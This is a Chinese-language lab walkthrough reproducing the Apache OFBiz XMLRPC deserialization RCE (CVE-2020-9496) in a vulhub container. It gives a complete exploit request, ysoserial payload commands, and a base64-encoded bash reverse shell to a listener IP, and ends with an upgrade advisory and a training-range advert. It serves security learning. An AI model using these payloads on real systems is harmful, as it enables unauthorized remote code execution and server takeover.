Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现
2021-02-20 14:41:12 Author: www.freebuf.com(查看原文) 阅读量:190 收藏

Apache OFBiz全称是The ApacheOpen For Business Project。是开放的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新的J2EE/XML规范和技术标准,构建大中型企业级、快平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz几乎实现了所有的J2EE核心设计模式,各个模块之间的耦合比较松散,用户能够比较容易的根据自己的需要进行拆卸,非常灵活。

0x01漏洞概述

Apache ofbiz 存在反序列化漏洞,攻击者 通过 访问未授权接口,构造特定的xmlrpc http请求,可以造成远程代码执行的影响。

0x02影响版本

- Apache Ofbiz:< 17.12.04

0x03环境搭建

1、本次环境使用vulhub搭建,在装有docker环境的虚拟机中下载

git clone https://github.com/vulhub/vulhub.git

1613799393_60309fe1eb1c1fb52ddc9.png!small?1613799395837

2、进入漏洞目录,使用docker-compose拉取漏洞环境,看到绿色的done表示成功

cd vulhub/ofbiz/CVE-2020-9496/

docker-compose up -d

1613799406_60309feea8af6c45a5912.png!small?1613799408489

3、在浏览器访问https://your-ip:8443/myportal/control/main访问注册页面

1613799413_60309ff5cf949c3565ae9.png!small?1613799415773

4、安装漏洞复现所需要的环境

4.1安装java8环境

https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根据自己系统版本选择jdk下载

4.2下载完成创建一个文件夹,把下载好的java解压到创建的文件

mkdir /opt/java

tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java

4.3添加Java环境变量

vim /etc/profile

末尾增加

export JAVA_HOME=/opt/java/ jdk1.8.0_141

export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib

4.4添加完成后使用环境变量马上生效,刷新完成后查看java版本

source /etc/profile

java -version

1613799421_60309ffd2326149144345.png!small?1613799422974

5、安装maven,使用wget下载mvn

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

mkdir /opt/maven

tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/

5.1配置环境变

vim /etc/profile

5.2在最下面增加

export MAVEN_HOME=/opt/maven/apache-maven-3.6.3

export PATH=$MAVEN_HOME/bin:$PATH

5.3添加完成后使用环境变量马上生效,刷新完成后查看maven版本

source /etc/profile

mvn -version

1613799430_6030a006983126523fe7a.png!small?1613799432563

0x04漏洞复现

1、在GitHub上下载java反序列化利用工具ysoserial,

git clone https://github.com/frohoff/ysoserial.git

1613799439_6030a00fc6a1b60da8602.png!small?1613799441706

2、进入ysoserial目录使用maven下载编译需要得包,编译成功为以下图片

mvn clean package -DskipTests

1613799446_6030a01692f4bb743ff67.png!small?1613799448444

3、在ysoserial目录可以看到有一个target目录,进入此目录

1613799452_6030a01c9d3689eb5775a.png!small?1613799454695

4、在页面url访问以下链接使用Burp抓包,并发送到Repeater模块

https://your-ip:8443/webtools/control/xmlrpc

1613799479_6030a037926071f5df026.png!small?1613799481958

1613799484_6030a03caea12ba335d25.png!small?1613799486634

5、把数据包替换成以下数据包

POST /webtools/control/xmlrpc HTTP/1.1

Host: your-ip

Content-Type: application/xml

Content-Length: 4093

<?xml version="1.0"?>

<methodCall>

<methodName>ProjectDiscovery</methodName>

<params>

<param>

<value>

<struct>

<member>

<name>test</name>

<value>

<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>

</value>

</member>

</struct>

</value>

</param>

</params>

</methodCall>

6、使用使用ysoserial的CommonsBeanutils1来生成Payload在tmp目录写入文件

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

1613799513_6030a059dde4fc4a904e4.png!small?1613799515837

7、复制base64编码得payload,粘贴到burp数据包中base64payload的地方,点击发送,可以进docker中查看是否写入成功

1613799518_6030a05e105a5c63dc7ac.png!small?1613799519879

1613799524_6030a0642980e1c9cc737.png!small?1613799526038

1613799528_6030a0687d7f7bbc218cd.png!small?1613799530298

8、利用漏洞反弹shell,去以下网址把反弹shellpayload进行base64编码

http://www.jackson-t.ca/runtime-exec-payloads.html

1613799537_6030a07151e2841d699ab.png!small?1613799539223

9、把编码后的shell在使用ysoserial工具进行一次base64编码

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xMzIvMjI1OSAwPiYx}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"

1613799545_6030a07963852149e14c8.png!small?1613799547310

10、nc设置监听,把生成的exp放入到burp的数据包中发送,查看nc监听以返回shell

1613799551_6030a07f81c14cfa449d1.png!small?1613799553449

1613799556_6030a0840e79ef15ac959.png!small?1613799557846

0x05修复建议

1、建议升级至最新版本

在这里,给大家介绍一下“东塔攻防世界靶场”

2020年12月,东塔攻防世界靶场正式对外提供注册,各位小伙伴可通过注册后进行体验。新注册用户可获得一定的积分,对于靶场使用获取正确的Key后,也可以获取一定的经验值,经验值根据排名会不定期给予一定的奖励。

并且,在操作过程中,针对出现的Bug和安全漏洞问题可以和塔塔子提出,审核通过后可以获得相应的奖励积分。

东塔攻防世界网站不定时推出可免费限时使用的靶场,具体可关注东塔网络安全学院推出的一系列活动或添加东塔客服了解详情。

东塔攻防世界靶场主要分为在线靶场和职业体系两大特色板块。且平台内的靶场会定期更新内容,尤其是最新漏洞复现的一些文章和靶场,会优先在靶场中提供环境让大家体验。

东塔攻防世界网站会不定期限时免费推出最新的一些复现的靶场,以供学习交流,给了大家充分体验和使用靶场的机会。

具体可关注东塔网络安全学院推出的一系列活动或添加东塔客服wx(dongtakefu)了解详情。

除了以上介绍的内容,还有更多宝藏区域,更强大的功能,等你来寻宝!

详戳下方“东塔攻防世界靶场”网址,Get一波新世界

https://labs.do-ta.com


文章来源: https://www.freebuf.com/vuls/263853.html
如有侵权请联系:admin#unsafe.sh